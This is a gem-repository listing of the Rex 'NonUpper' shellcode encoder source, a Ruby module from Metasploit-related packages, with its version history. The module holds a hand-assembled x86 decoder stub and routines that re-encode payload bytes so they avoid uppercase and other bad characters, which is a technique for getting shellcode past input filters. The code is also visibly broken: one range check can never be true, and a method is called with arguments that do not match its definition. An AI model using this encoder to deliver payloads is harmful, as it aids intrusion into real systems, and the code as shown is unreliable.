Sha256: 606599ec13c237ec6691e09ca507b83a4bf67c6cffdf44781b081bcb0a517def

Contents?: true

Size: 1.78 KB

Versions: 23

Compression:

Stored size: 1.78 KB

Contents

# -*- coding: binary -*-

require 'rex/text'

module Rex
module Encoder

class NonUpper


  def NonUpper.gen_decoder()
    decoder =
      "\x66\xB9\xFF\xFF" +
      "\xEB\x19"  +               # Jmp to table
      "\x5E"      +               # pop esi
      "\x8B\xFE"  +               # mov edi, esi      - Get table addr
      "\x83\xC7"  + "A" +         # add edi, tablelen - Get shellcode addr
      "\x8B\xD7"  +               # mov edx, edi      - Hold end of table ptr
      "\x3B\xF2"  +               # cmp esi, edx
      "\x7D\x0B"  +               # jle to end
      "\xB0\x7B"  +               # mov eax, 0x7B     - Set up eax with magic
      "\xF2\xAE"  +               # repne scasb       - Find magic!
      "\xFF\xCF"  +               # dec edi           - scasb purs us one ahead
      "\xAC"      +               # lodsb
      "\x28\x07"  +               # subb [edi], al
      "\xEB\xF1"  +               # jmp BACK!
      "\xEB"      + "B" +         # jmp [shellcode]
      "\xE8\xE2\xFF\xFF\xFF"
  end

  def NonUpper.encode_byte(badchars, block, table, tablelen)
    if (tablelen > 255) or (block == 0x40)
      raise RuntimeError, "BadChar"
    end

    if (block >= 0x41 and block <= 0x40) or (badchars =~ block)
      # gen offset, return magic
      offset = 0x40 - block;
      table += offset.chr
      tablelen = tablelen + 1
      block = 0x40
    end

    return [block.chr, table, tablelen]
  end

  def NonUpper.encode(buf)
    table = ""
    tablelen = 0
    nonascii = ""
    encoded = gen_decoder()
    buf.each_byte {
      |block|

      newchar, table, tablelen = encode_byte(block.unpack('C')[0], table, tablelen)
      nonascii += newchar
    }
    encoded.gsub!(/A/, tablelen)
    encoded.gsub!(/B/, tablelen+5)
    encoded += table
    encoded += nonascii
  end

end end end

Version data entries

23 entries across 23 versions & 4 rubygems

Version Path
rex-encoder-0.1.7 lib/rex/encoder/nonupper.rb
rex-encoder-0.1.6 lib/rex/encoder/nonupper.rb
rex-encoder-0.1.5 lib/rex/encoder/nonupper.rb
rex-2.0.13 lib/rex/encoder/nonupper.rb
rex-2.0.12 lib/rex/encoder/nonupper.rb
rex-2.0.11 lib/rex/encoder/nonupper.rb
rex-encoder-0.1.4 lib/rex/encoder/nonupper.rb
rex-encoder-0.1.3 lib/rex/encoder/nonupper.rb
rex-encoder-0.1.2 lib/rex/encoder/nonupper.rb
rex-encoder-0.1.1 lib/rex/encoder/nonupper.rb
rex-encoder-0.1.0 lib/rex/encoder/nonupper.rb
rex-2.0.10 lib/rex/encoder/nonupper.rb
rex-2.0.9 lib/rex/encoder/nonupper.rb
rex-2.0.8 lib/rex/encoder/nonupper.rb
rex-2.0.7 lib/rex/encoder/nonupper.rb
rex-2.0.5 lib/rex/encoder/nonupper.rb
rex-2.0.4 lib/rex/encoder/nonupper.rb
dstruct-0.0.1 lib/rex/encoder/nonupper.rb
rex-2.0.3 lib/rex/encoder/nonupper.rb
librex-0.0.999 lib/rex/encoder/nonupper.rb